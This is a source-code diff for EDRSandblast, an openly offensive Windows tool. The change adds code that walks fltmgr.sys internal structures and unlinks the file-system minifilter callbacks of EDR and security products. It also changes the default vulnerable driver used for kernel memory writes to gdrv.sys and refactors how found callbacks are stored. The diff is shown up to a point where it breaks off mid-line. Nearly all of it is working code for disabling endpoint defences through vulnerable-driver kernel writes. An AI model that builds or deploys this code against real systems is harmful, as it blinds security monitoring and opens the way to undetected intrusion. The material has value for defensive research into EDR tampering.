diff --git a/EDRSandblast/Drivers/DriverRTCore.c b/EDRSandblast/Drivers/DriverRTCore.c index e3fbd76..1253739 100644 --- a/EDRSandblast/Drivers/DriverRTCore.c +++ b/EDRSandblast/Drivers/DriverRTCore.c @@ -108,7 +108,7 @@ VOID ReadMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) { } /* -* RTCore driver allows to write 1, 2 or 4 bytes at a type +* RTCore driver allows to write 1, 2 or 4 bytes at a time */ VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) { while (Size) { diff --git a/EDRSandblast/EDRSandblast.vcxproj b/EDRSandblast/EDRSandblast.vcxproj index 8f6b2e8..a9ca8f9 100644 --- a/EDRSandblast/EDRSandblast.vcxproj +++ b/EDRSandblast/EDRSandblast.vcxproj @@ -171,11 +171,13 @@ + + @@ -209,7 +211,9 @@ + + diff --git a/EDRSandblast/EDRSandblast.vcxproj.filters b/EDRSandblast/EDRSandblast.vcxproj.filters index ad5b31d..2734f4c 100644 --- a/EDRSandblast/EDRSandblast.vcxproj.filters +++ b/EDRSandblast/EDRSandblast.vcxproj.filters @@ -129,6 +129,12 @@ Source Files + + Source Files + + + Source Files + @@ -254,6 +260,12 @@ Header Files + + Header Files + + + Header Files + diff --git a/EDRSandblast/Includes/FltmgrOffsets.h b/EDRSandblast/Includes/FltmgrOffsets.h new file mode 100644 index 0000000..334ba6e --- /dev/null +++ b/EDRSandblast/Includes/FltmgrOffsets.h @@ -0,0 +1,50 @@ +#pragma once +#include + + +enum FltmgrOffsetType { + FltGlobals = 0, + _GLOBALS_FrameList, + _FLT_RESOURCE_LIST_HEAD_rList, + _FLTP_FRAME_Links, + _FLTP_FRAME_RegisteredFilters, + _FLT_OBJECT_PrimaryLink, + _FLT_FILTER_DriverObject, + _FLT_FILTER_InstanceList, + _DRIVER_OBJECT_DriverInit, + _FLT_INSTANCE_CallbackNodes, + _FLT_INSTANCE_FilterLink, + _SUPPORTED_FLTMGR_OFFSETS_END +}; + +union FltmgrOffsets { + // structure version of fltmgr.sys's offsets + struct { + DWORD64 FltGlobals; + DWORD64 _GLOBALS_FrameList; + DWORD64 _FLT_RESOURCE_LIST_HEAD_rList; + DWORD64 _FLTP_FRAME_Links; + DWORD64 _FLTP_FRAME_RegisteredFilters; + DWORD64 _FLT_OBJECT_PrimaryLink; + DWORD64 _FLT_FILTER_DriverObject; + DWORD64 _FLT_FILTER_InstanceList; + DWORD64 _DRIVER_OBJECT_DriverInit; + DWORD64 _FLT_INSTANCE_CallbackNodes; + DWORD64 _FLT_INSTANCE_FilterLink; + } st; + + // array version (usefull for code factoring) + DWORD64 ar[_SUPPORTED_FLTMGR_OFFSETS_END]; +}; + +union FltmgrOffsets g_fltmgrOffsets; + +BOOL LoadFltmgrOffsets(_In_opt_ TCHAR* fltmgrOffsetFilename, BOOL canUseInternet); + +BOOL LoadFltmgrOffsetsFromFile(TCHAR* fltmgrOffsetFilename); +void SaveFltmgrOffsetsToFile(TCHAR* fltmgrOffsetFilename); + +BOOL LoadFltmgrOffsetsFromInternet(BOOL delete_pdb); + +LPTSTR GetFltmgrPath(); +LPTSTR GetFltmgrVersion(); \ No newline at end of file diff --git a/EDRSandblast/Includes/KernelCallbacks.h b/EDRSandblast/Includes/KernelCallbacks.h index eabeb52..eb414de 100644 --- a/EDRSandblast/Includes/KernelCallbacks.h +++ b/EDRSandblast/Includes/KernelCallbacks.h @@ -19,32 +19,37 @@ //TODO : split notify routines & object callbacks in different files, but keep this base to implement more kernel callbacks types (CMRegisterCallbacks, etc) enum kernel_callback_type_e { - NOTIFY_ROUTINE_CB, - OBJECT_CALLBACK + NOTIFY_ROUTINE_CB, + OBJECT_CALLBACK, + MINIFILTER_CALLBACK, }; struct KRNL_CALLBACK { - enum kernel_callback_type_e type; - TCHAR const* driver_name; - union callback_addr_e { - struct notify_routine_t { - DWORD64 callback_struct_addr; - DWORD64 callback_struct; - enum NtoskrnlOffsetType type; //TODO : decorrelate indices in CSV from notify routine types - } notify_routine; - struct object_callback_t { - DWORD64 enable_addr; - } object_callback; - } addresses; - DWORD64 callback_func; - BOOL removed; + enum kernel_callback_type_e type; + TCHAR const* driver_name; + union callback_addr_e { + struct notify_routine_t { + DWORD64 callback_struct_addr; + DWORD64 callback_struct; + enum NtoskrnlOffsetType type; //TODO : decorrelate indices in CSV from notify routine types + } notify_routine; + struct object_callback_t { + DWORD64 enable_addr; + } object_callback; + struct minifilter_callback_t { + DWORD64 callback_node; + } minifilter_callback; + } addresses; + DWORD64 callback_func; //TODO: reorganize this struct since object callbacks and minifilter callbacks have preoperations and postoperations + BOOL removed; }; struct FOUND_EDR_CALLBACKS { - DWORD64 index; - struct KRNL_CALLBACK EDR_CALLBACKS[256]; + SIZE_T size; + SIZE_T max_size; + struct KRNL_CALLBACK* EDR_CALLBACKS; }; - +VOID AddFoundKernelCallback(struct FOUND_EDR_CALLBACKS* foundCallbacks, struct KRNL_CALLBACK* newCallback); BOOL isDriverEDR(TCHAR* driver); void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers); diff --git a/EDRSandblast/Includes/KernelMemoryPrimitives.h b/EDRSandblast/Includes/KernelMemoryPrimitives.h index 866520e..8f86839 100644 --- a/EDRSandblast/Includes/KernelMemoryPrimitives.h +++ b/EDRSandblast/Includes/KernelMemoryPrimitives.h @@ -6,23 +6,28 @@ #define DBUtil 1 #define GDRV 2 // Select the driver to use with the following #define -#define VULN_DRIVER RTCore +#define VULN_DRIVER GDRV +//TODO : design a way to make an atomic write given a non-atomic one +//idea : modify a PTE to mark a page userland-reachable and perform the write from the process #if VULN_DRIVER == RTCore #define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys") #define CloseDriverHandle CloseDriverHandle_RTCore #define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore #define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore +#define WriteMemoryPrimitiveIsAtomic 0 //RTCore only allows to write up to a DWORD at a time #elif VULN_DRIVER == DBUtil #define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys") #define CloseDriverHandle CloseDriverHandle_DBUtil #define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil #define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil +#define WriteMemoryPrimitiveIsAtomic 1 //DBUtil allows to write an arbitrary size #elif VULN_DRIVER == GDRV #define DEFAULT_DRIVER_FILE TEXT("gdrv.sys") #define CloseDriverHandle CloseDriverHandle_GDRV #define ReadMemoryPrimitive ReadMemoryPrimitive_GDRV #define WriteMemoryPrimitive WriteMemoryPrimitive_GDRV +#define WriteMemoryPrimitiveIsAtomic 1 //DBUtil allows to write an arbitrary size #endif BYTE ReadMemoryBYTE(DWORD64 Address); diff --git a/EDRSandblast/Includes/MinifilterCallbacks.h b/EDRSandblast/Includes/MinifilterCallbacks.h new file mode 100644 index 0000000..d34a6d6 --- /dev/null +++ b/EDRSandblast/Includes/MinifilterCallbacks.h @@ -0,0 +1,9 @@ +#pragma once +#include +#include "KernelCallbacks.h" + +BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, BOOL verbose); +#if WriteMemoryPrimitiveIsAtomic +void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks); +BOOL RestoreEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks); +#endif \ No newline at end of file diff --git a/EDRSandblast/Includes/WdigestOffsets.h b/EDRSandblast/Includes/WdigestOffsets.h index b31e72c..f7f7efa 100644 --- a/EDRSandblast/Includes/WdigestOffsets.h +++ b/EDRSandblast/Includes/WdigestOffsets.h @@ -12,27 +12,28 @@ enum WdigestOffsetType { - g_fParameter_UseLogonCredential = 0, - g_IsCredGuardEnabled = 1, - _SUPPORTED_WDIGEST_OFFSETS_END + g_fParameter_UseLogonCredential = 0, + g_IsCredGuardEnabled = 1, + _SUPPORTED_WDIGEST_OFFSETS_END }; union WdigestOffsets { - // structure version of wdigest.dll's offsets - struct { - // wdigest.dll's g_fParameter_UseLogonCredential - DWORD64 g_fParameter_UseLogonCredential; - // wdigest.dll's g_IsCredGuardEnabled - DWORD64 g_IsCredGuardEnabled; - } st; + // structure version of wdigest.dll's offsets + struct { + // wdigest.dll's g_fParameter_UseLogonCredential + DWORD64 g_fParameter_UseLogonCredential; + // wdigest.dll's g_IsCredGuardEnabled + DWORD64 g_IsCredGuardEnabled; + } st; - // array version (usefull for code factoring) - DWORD64 ar[_SUPPORTED_WDIGEST_OFFSETS_END]; + // array version (usefull for code factoring) + DWORD64 ar[_SUPPORTED_WDIGEST_OFFSETS_END]; }; union WdigestOffsets g_wdigestOffsets; -// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use. +// TODO : create a LoadWdigestOffsets function like LoadCiOffsets +// TODO2 : find a way to factorize all the copy-pasted code between Ci/Ntoskrnl/Wdigest/FltmgrOffsets void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename); void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename); diff --git a/EDRSandblast/KernellandBypass/KernelCallbacks.c b/EDRSandblast/KernellandBypass/KernelCallbacks.c index c7ce876..2e5f7ee 100644 --- a/EDRSandblast/KernellandBypass/KernelCallbacks.c +++ b/EDRSandblast/KernellandBypass/KernelCallbacks.c @@ -25,8 +25,8 @@ DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt); BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) { DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(notifyRoutineType); - _tprintf_or_not(TEXT("[+] [NotifyRountines]\tEnumerating %s callbacks\n"), notifyRoutineTypeStrs[notifyRoutineType]); - if (verbose) { _tprintf_or_not(TEXT("[+] [NotifyRountines]\tPsp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[notifyRoutineType], NotifyRoutineAddress); } + _tprintf_or_not(TEXT("[+] [NotifyRoutines]\tEnumerating %s callbacks\n"), notifyRoutineTypeStrs[notifyRoutineType]); + if (verbose) { _tprintf_or_not(TEXT("[+] [NotifyRoutines]\tPsp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[notifyRoutineType], NotifyRoutineAddress); } SIZE_T CurrentEDRCallbacksCount = 0; for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) { @@ -36,7 +36,7 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine DWORD64 cbFunction = ReadMemoryDWORD64(callback); DWORD64 driverOffset; TCHAR* driver = FindDriverName(cbFunction, &driverOffset); - _tprintf_or_not(TEXT("[+] [NotifyRountines]\t\t%016llx [%s + 0x%llx]\n"), cbFunction, driver, driverOffset); + _tprintf_or_not(TEXT("[+] [NotifyRoutines]\t\t%016llx [%s + 0x%llx]\n"), cbFunction, driver, driverOffset); if (driver && isDriverNameMatchingEDR(driver)) { //TODO : also use certificates to determine if EDR DWORD64 callback_addr = NotifyRoutineAddress + (i * sizeof(DWORD64)); @@ -49,7 +49,7 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine newFoundDriver.addresses.notify_routine.type = notifyRoutineType; newFoundDriver.callback_func = cbFunction; - _tprintf_or_not(TEXT("[+] [NotifyRountines]\t\tFound callback belonging to EDR driver %s"), driver); + _tprintf_or_not(TEXT("[+] [NotifyRoutines]\t\tFound callback belonging to EDR driver %s"), driver); if (verbose) { _tprintf_or_not(TEXT(" [callback addr : 0x%I64x | callback struct : 0x%I64x | callback function : 0x%I64x]\n"), callback_addr, callback_struct, cbFunction); } @@ -58,32 +58,31 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine } newFoundDriver.removed = FALSE; - edrCallbacks->EDR_CALLBACKS[edrCallbacks->index] = newFoundDriver; - edrCallbacks->index++; + AddFoundKernelCallback(edrCallbacks, &newFoundDriver); CurrentEDRCallbacksCount++; } } } if (CurrentEDRCallbacksCount == 0) { - _putts_or_not(TEXT("[+] [NotifyRountines]\tNo EDR driver(s) found!")); + _putts_or_not(TEXT("[+] [NotifyRoutines]\tNo EDR driver(s) found!")); } else { - _tprintf_or_not(TEXT("[+] [NotifyRountines]\tFound a total of %llu EDR / security products driver(s)\n"), CurrentEDRCallbacksCount); + _tprintf_or_not(TEXT("[+] [NotifyRoutines]\tFound a total of %llu EDR / security products driver(s)\n"), CurrentEDRCallbacksCount); } return CurrentEDRCallbacksCount > 0; } void RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) { TCHAR* action = remove ? TEXT("Removing") : TEXT("Restoring"); - _tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]); + _tprintf_or_not(TEXT("[+] [NotifyRoutines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]); - for (DWORD i = 0; i < edrCallbacks->index; ++i) { + for (DWORD i = 0; i < edrCallbacks->size; ++i) { struct KRNL_CALLBACK* cb = &edrCallbacks->EDR_CALLBACKS[i]; if (cb->type == NOTIFY_ROUTINE_CB && cb->addresses.notify_routine.type == notifyRoutineType && cb->removed == !remove) { - _tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"), + _tprintf_or_not(TEXT("[+] [NotifyRoutines]\t%s callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"), action, cb->driver_name, cb->addresses.notify_routine.callback_struct_addr, @@ -138,3 +137,18 @@ void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) { void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) { RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE); } + +//TODO : put "kernel notify routines"-related functions in a KernelNotifyRoutines.c, and only left common "kernel callbacks"-related functions in KernelCallbacks.c +VOID AddFoundKernelCallback(struct FOUND_EDR_CALLBACKS* foundCallbacks, struct KRNL_CALLBACK* newCallback) { + if (foundCallbacks->size == foundCallbacks->max_size) { + foundCallbacks->max_size = foundCallbacks->max_size * 2 + 1; + PVOID tmp = realloc(foundCallbacks->EDR_CALLBACKS, foundCallbacks->max_size * sizeof(struct KRNL_CALLBACK)); + if (tmp == NULL) { + exit(1); + } + foundCallbacks->EDR_CALLBACKS = tmp; + } + foundCallbacks->EDR_CALLBACKS[foundCallbacks->size] = *newCallback; + foundCallbacks->size++; + +} diff --git a/EDRSandblast/KernellandBypass/MinifilterCallbacks.c b/EDRSandblast/KernellandBypass/MinifilterCallbacks.c new file mode 100644 index 0000000..4eb4453 --- /dev/null +++ b/EDRSandblast/KernellandBypass/MinifilterCallbacks.c @@ -0,0 +1,215 @@ +#include +#include + +#ifdef _DEBUG +#include +#endif + +#include "FltmgrOffsets.h" +#include "IsEDRChecks.h" +#include "KernelMemoryPrimitives.h" +#include "KernelUtils.h" +#include "PrintFunctions.h" +#include "PdbSymbols.h" +#include "MinifilterCallbacks.h" + + +/* +This function browses the internal structures of the Filter Manager to enumerate callbacks registered +by EDR products. + +To provide a quick context about the different internal structures: + - The Filter Manager establishes a "frame" (_FLTP_FRAME) as its root structure; + - A "volume" structure (_FLT_VOLUME) is instanciated for each "disk" managed by the Filter Manager (can be partitions, + shadow copies, or special ones corresponding to named pipes or remote file systems); + - To each registered minifilter driver corresponds a "filter" structure (_FLT_FILTER), describing various properties such + as its supported operations; + - These minifilters are not all attached to each volume; an "instance" (_FLT_INSTANCE) structure is created to mark each of the + filter<->volume association; + - Minifilters register callback functions that are executed before and/or after specific operation (file open, write, read, etc.). + These callbacks are described in _CALLBACK_NODE structures. An array of all _CALLBACK_NODE implemented by an instance of a + minifilter can be found in _FLT_INSTANCE; the array indexed by the IRP "major function" code, a constant representing the operation + affected by the callback (IRP_MJ_CREATE, IRP_MJ_READ, etc.). + Moreover, all _CALLBACK_NODEs implemented by instances linked to a specific volume are regrouped in linked lists, stored in the + _FLT_VOLUME.Callbacks.OperationLists array indexed by IRP major function codes. + +Upon a specific operation (for example, a file opening on C:), the appropriate _FLT_VOLUME is recovered from the _FLTP_FRAME structure +(AttachedVolumes's list), the _FLT_VOLUME.Callbacks.OperationLists[irpMajorFunctionCode] list of _CALLBACK_NODE is browsed and callbacks +functions are executed. + +In order to detect EDR-related callbacks, the following function: + - Enumerates the frames (_FLTP_FRAME) thanks to a list stored in a global variable of fltmgr.sys: ((_GLOBALS*)&FltGlobals)->FrameList.rList + - Enumerates the filters (_FLT_FILTER) of the frame: ((_FLTP_FRAME*)currentFrame)->RegisteredFilters.rList + - Checks if the driver implementing the filter is EDR-related (checks the name of the module where + (_FLT_FILTER*)currentFilter->DriverObject->DriverInit is implemented) + - If the driver is an EDR, enumerate all instances of the associated filter, by browsing ((_FLT_FILTER*)currentFilter)->InstanceList.rList + - For each instance, enumerate the CallbackNodes array, whose non-NULL entries directly point to _CALLBACK_NODEs in their respective + lists in _FLT_VOLUME.Callbacks.OperationLists +*/ +BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, BOOL verbose) { + BOOL edrCallbacksWereFound = FALSE; + + DWORD64 fltmgr_base = FindKernelModuleAddressByName(L"fltmgr.sys"); + if (!fltmgr_base) + return -1; + if (verbose) { + _tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tfltmgr.sys : %016llx\n"), fltmgr_base); + _tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tFltGlobals : %016llx\n"), fltmgr_base + + g_fltmgrOffsets.st.FltGlobals); + _tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tFrameList : %016llx\n"), fltmgr_base + + g_fltmgrOffsets.st.FltGlobals + + g_fltmgrOffsets.st._GLOBALS_FrameList + + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList); + } + + _putts_or_not(TEXT("[*] [MinifilterCallbacks]\tEnumerating minifilters' frames, filters, instances and callback nodes:")); + DWORD64 frame_list_header = fltmgr_base + + g_fltmgrOffsets.st.FltGlobals + + g_fltmgrOffsets.st._GLOBALS_FrameList + + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList; + for (DWORD64 current_frame_shifted = ReadMemoryDWORD64(frame_list_header); + current_frame_shifted != frame_list_header; + current_frame_shifted = ReadMemoryDWORD64(current_frame_shifted) + ) { + DWORD64 current_frame = current_frame_shifted - g_fltmgrOffsets.st._FLTP_FRAME_Links; + _tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\t_FLTP_FRAME : %016llx:\n"), current_frame); + + DWORD64 filter_list_header = current_frame + g_fltmgrOffsets.st._FLTP_FRAME_RegisteredFilters + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList; + for (DWORD64 current_filter_shifted = ReadMemoryDWORD64(filter_list_header); + current_filter_shifted != filter_list_header; + current_filter_shifted = ReadMemoryDWORD64(current_filter_shifted) + ) { + DWORD64 current_filter = current_filter_shifted - g_fltmgrOffsets.st._FLT_OBJECT_PrimaryLink; + + + // check if current filter is EDR-related + DWORD64 driverObject = ReadMemoryDWORD64(current_filter + g_fltmgrOffsets.st._FLT_FILTER_DriverObject); + DWORD64 driverInit = ReadMemoryDWORD64(driverObject + g_fltmgrOffsets.st._DRIVER_OBJECT_DriverInit); + DWORD64 driverOffset; + TCHAR* driver = FindDriverName(driverInit, &driverOffset); + _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t_FLT_FILTER %016llx (%s)\n"), current_filter, driver); + + if (driver && isDriverNameMatchingEDR(driver)) { + _putts_or_not(TEXT("[+] [MinifilterCallbacks]\t\t\tEDR-related filter found! Enumerating callbacks from all instances:")); + + DWORD64 instance_list_header = current_filter + g_fltmgrOffsets.st._FLT_FILTER_InstanceList + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList; + for (DWORD64 current_instance_shifted = ReadMemoryDWORD64(instance_list_header); + current_instance_shifted != instance_list_header; + current_instance_shifted = ReadMemoryDWORD64(current_instance_shifted) + ) { + DWORD64 current_instance = current_instance_shifted - g_fltmgrOffsets.st._FLT_INSTANCE_FilterLink; + _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t\t_FLT_INSTANCE %016llx: "), current_instance); + + // for each CALLBACK_NODE in the array + DWORD64 CallbackNodesArray = current_instance + g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes; + SIZE_T nbCallbackNodes = 0; + for (int j = 0; j < 50; j++) + { + DWORD64 CallbackNodePointer = ReadMemoryDWORD64(CallbackNodesArray + (j * sizeof(PVOID))); + // Register all callback nodes + if (CallbackNodePointer) + { + // Ugly hack: check if the node really is part of a linked list or have already been unlinked + // TODO: change the whole logic of this file and browse callback nodes directly from _FLT_VOLUME.Callbacks.OperationLists ? + DWORD64 prevNode = ReadMemoryDWORD64(CallbackNodePointer + offsetof(LIST_ENTRY, Blink)); + DWORD64 prevNodeNext = ReadMemoryDWORD64(prevNode + offsetof(LIST_ENTRY, Flink)); + DWORD64 nextNode = ReadMemoryDWORD64(CallbackNodePointer + offsetof(LIST_ENTRY, Flink)); + DWORD64 nextNodePrev = ReadMemoryDWORD64(nextNode + offsetof(LIST_ENTRY, Blink)); + if (prevNodeNext != CallbackNodePointer && nextNodePrev != CallbackNodePointer) { + continue; + } + + struct KRNL_CALLBACK cb = { + .type = MINIFILTER_CALLBACK, + .addresses.minifilter_callback.callback_node = CallbackNodePointer, + .callback_func = 0, //TODO: complete with preoperation & postoperations func address for information + .driver_name = driver, + .removed = FALSE, + }; + AddFoundKernelCallback(foundEDRCallbacks, &cb); + edrCallbacksWereFound = TRUE; + nbCallbackNodes++; + } + } + _tprintf_or_not(TEXT("%llu callback nodes found!\n"), nbCallbackNodes); + } + } + } + } + + return edrCallbacksWereFound; +} + +#if WriteMemoryPrimitiveIsAtomic +/* +When EDR-related _CALLBACK_NODEs have been identified thanks to the previous function, to disable the callbacks, these nodes are +simply unlinked from their lists. +That way, the filter manager will not see the callback nodes and never execute the associated pre/post-operations functions upon +some specific I/O operation. + +Note: since we are modifying linked lists without holding any lock and while the operating system could browse the lists at the +same time, we have to maintain at least some consistency during modification. The write primitive should be able to write a whole +pointer (i.e. 8 bytes) in a single call, or else the overwritten pointer would have an incorrect value between 2 calls, and could +lead to a crash if the operating system browses the list. +*/ +void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) { + _putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRemoving previously identified callbacks nodes by unlinking them from their list")); + SIZE_T counter = 0; + for (struct KRNL_CALLBACK* ptr = edrCallbacks->EDR_CALLBACKS; + ptr < edrCallbacks->EDR_CALLBACKS + edrCallbacks->size; + ptr++ + ) { + if (ptr->type == MINIFILTER_CALLBACK && + ptr->removed == FALSE) { + DWORD64 callbackNodeAddress = ptr->addresses.minifilter_callback.callback_node; + DWORD64 prevNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Blink)); + DWORD64 nextNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Flink)); + WriteMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink), prevNodeAddress); + WriteMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink), nextNodeAddress); + ptr->removed = TRUE; + counter++; + } + } + _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t%llu callback nodes were removed!\n"), counter); +} + + +/* +To restore the callbacks, we rely on the fact that the LIST_ENTRY of the _CALLBACK_NODE still points to the original previous +and next nodes in the list where is was unlinked from. We simply reinsert the nodes in the inverse order from which unlinked +them to ensure the linked list consistency during the process. +*/ +BOOL RestoreEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) { + BOOL success = TRUE; + _putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRestoring unlinked callbacks node by re-inserting them in their original place")); + SIZE_T counter = 0; + // reinsert the nodes in the inverse order to avoid invalid states + for (struct KRNL_CALLBACK* ptr = edrCallbacks->EDR_CALLBACKS + edrCallbacks->size - 1; + edrCallbacks->EDR_CALLBACKS <= ptr; + ptr-- + ) { + if (ptr->type == MINIFILTER_CALLBACK && + ptr->removed == TRUE) { + DWORD64 callbackNodeAddress = ptr->addresses.minifilter_callback.callback_node; + DWORD64 prevNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Blink)); + DWORD64 nextNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Flink)); + + // Checks that "previous" and "next" nodes are still next to each other in the list + DWORD64 prevNodeFlink = ReadMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink)); + DWORD64 nextNodeBlink = ReadMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink)); + if (prevNodeFlink != nextNodeAddress || nextNodeBlink != prevNodeAddress) { + _putts_or_not(TEXT("[-] [MinifilterCallbacks]\tWARNING: a callback node could not have been restored! Maybe the node list changed between node removal and node reinsertion?")); + success = FALSE; + continue; + } + + WriteMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink), callbackNodeAddress); + WriteMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink), callbackNodeAddress); + ptr->removed = FALSE; + counter++; + } + } + _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t%llu callback nodes were restored!\n"), counter); + return success; +} +#endif \ No newline at end of file diff --git a/EDRSandblast/KernellandBypass/ObjectCallbacks.c b/EDRSandblast/KernellandBypass/ObjectCallbacks.c index 965fc79..2d9f9ae 100644 --- a/EDRSandblast/KernellandBypass/ObjectCallbacks.c +++ b/EDRSandblast/KernellandBypass/ObjectCallbacks.c @@ -192,10 +192,7 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List); cbEntry != ObjectType_Callbacks_List; cbEntry = ReadMemoryDWORD64(cbEntry)) { - if (FoundObjectCallbacks->index >= 256) { - _putts_or_not(TEXT("[!] No more space to store object callbacks !!! This should not happen. Exiting...")); - exit(1); - } + DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType); if (ObjectTypeField != ObjectType) { _putts_or_not(TEXT("Unexpected value in callback entry (ObjectTypeField), exiting...")); @@ -233,13 +230,13 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR ")); if (Enabled) { _putts_or_not(TEXT("and is enabled!")); - struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index]; - cb->type = OBJECT_CALLBACK; - cb->driver_name = driverNamePreOperation; - cb->removed = FALSE; - cb->callback_func = PreOperation; - cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled; - FoundObjectCallbacks->index++; + struct KRNL_CALLBACK cb; + cb.type = OBJECT_CALLBACK; + cb.driver_name = driverNamePreOperation; + cb.removed = FALSE; + cb.callback_func = PreOperation; + cb.addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled; + AddFoundKernelCallback(FoundObjectCallbacks, &cb); found |= TRUE; } else { @@ -257,18 +254,19 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR ")); if (Enabled) { _putts_or_not(TEXT("and is enabled!")); - if (FoundObjectCallbacks->index != 0 && - FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) { + if (FoundObjectCallbacks->size != 0 && + FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->size - 1].type == OBJECT_CALLBACK && + FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->size - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) { //skip if last callback function belong to the same callback entry (preoperation) continue; } - struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index]; - cb->type = OBJECT_CALLBACK; - cb->driver_name = driverNamePostOperation; - cb->removed = FALSE; - cb->callback_func = PostOperation; - cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled; - FoundObjectCallbacks->index++; + struct KRNL_CALLBACK cb; + cb.type = OBJECT_CALLBACK; + cb.driver_name = driverNamePostOperation; + cb.removed = FALSE; + cb.callback_func = PostOperation; + cb.addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled; + 